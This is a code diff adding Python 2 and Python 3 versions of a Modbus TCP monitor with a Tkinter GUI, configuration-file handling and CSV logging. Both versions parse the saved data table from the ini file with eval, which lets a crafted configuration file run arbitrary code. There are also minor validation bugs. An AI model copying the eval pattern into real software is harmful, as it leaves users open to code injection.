Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file 